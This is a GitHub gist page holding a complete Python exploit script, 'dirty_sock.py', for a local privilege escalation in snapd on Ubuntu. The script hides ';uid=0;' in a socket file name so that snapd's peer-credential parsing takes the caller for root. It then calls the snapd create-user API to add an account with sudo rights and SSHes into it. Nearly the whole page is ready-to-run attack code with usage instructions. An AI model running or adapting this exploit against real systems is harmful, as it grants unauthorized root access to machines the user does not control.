Created
February 14, 2019 21:20
-
-
Save MattCurryCom/898e360eec5f98e574c5ed394b860788 to your computer and use it in GitHub Desktop.
Tests SnapD Escalation bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Local privilege escalation via snapd, affecting Ubuntu and others. | |
Discovered by Chris Moberly. | |
Before running, you need to: | |
- Create an Ubuntu developer account (https://snapcraft.io/) | |
- Login to that account and ensure you have your public SSH key configured | |
in your profile. | |
Run exploit like this: | |
dirty_sock.py -u <account email> -k <ssh priv key file> | |
Note that the exploit will create a new user account on the system with sudo | |
privileges and will also import your public key from your online Ubuntu | |
account. You may want to clean these up after use. | |
""" | |
import argparse | |
import string | |
import random | |
import socket | |
import re | |
import sys | |
import os | |
def process_args(): | |
"""Handles user-passed parameters""" | |
parser = argparse.ArgumentParser() | |
parser.add_argument('--username', '-u', type=str, action='store', | |
required=True, help='Your Ubuntu One account email.') | |
parser.add_argument('--key', '-k', type=str, action='store', | |
required=True, help='Full path to the same SSH public' | |
' key used in your Ubuntu One account.') | |
args = parser.parse_args() | |
if not os.path.isfile(args.key): | |
print("[!] That key file does not exist. Please try again.") | |
sys.exit() | |
return args | |
def create_sockfile(): | |
"""Generates a random socket file name to use""" | |
alphabet = string.ascii_lowercase | |
random_string = ''.join(random.choice(alphabet) for i in range(10)) | |
dirty_sock = ';uid=0;' | |
# This is where we slip on the dirty sock. This makes its way into the | |
# UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion | |
# by snapd's ucrednet.go file, allowing us to overwrite the UID variable. | |
sockfile = '/tmp/' + random_string + dirty_sock | |
print("[+] Slipped dirty sock on random socket file: " + sockfile) | |
return sockfile | |
def exploit_me(args, sockfile): | |
"""Main exploit function""" | |
post_payload = ('{"email": "' + args.username + | |
'", "sudoer": true, "force-managed": true}') | |
http_req = ('POST /v2/create-user HTTP/1.1\r\n' | |
'Host: localhost\r\n' | |
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n' | |
+ post_payload) | |
# This exploit only works if we also BIND to the socket after creating | |
# it, as we need to inject the dirty sock as a remote peer in the | |
# socket's ancillary data. | |
print("[+] Binding to socket file...") | |
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) | |
client_sock.bind(sockfile) | |
# Connect to the snap daemon | |
print("[+] Connecting to snapd API...") | |
client_sock.connect('/run/snapd.socket') | |
# Send our payload to the snap API | |
print("[+] Sending payload...") | |
client_sock.sendall(http_req.encode("utf-8")) | |
# Receive the data and extract the JSON | |
http_reply = client_sock.recv(8192).decode("utf-8") | |
# Try to extract a username from the valid reply | |
regex = re.compile(r'"status":"OK","result":{"username":"(.*?)"') | |
username = re.findall(regex, http_reply) | |
# If exploit was not successful, give details and exit | |
if 'cannot find user' in http_reply: | |
print("[!] Could not find user in the snap store... did you follow" | |
" the instructions?") | |
print("Here is the API reply:") | |
print(http_reply) | |
sys.exit() | |
if not username: | |
print("[!] Something went wrong... Here is the API reply:") | |
print(http_reply) | |
sys.exit() | |
# SSH into localhost with our new root account | |
print("[+] Success! Enjoy your new account with sudo rights!") | |
cmd1 = 'chmod 600 ' + args.key | |
cmd2 = 'ssh ' + username[0] + '@localhost -i ' + args.key | |
os.system(cmd1) | |
os.system(cmd2) | |
print("[+] Hope you enjoyed your stay!") | |
sys.exit() | |
def main(): | |
"""Main program function""" | |
args = process_args() | |
sockfile = create_sockfile() | |
exploit_me(args, sockfile) | |
os.remove(sockfile) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment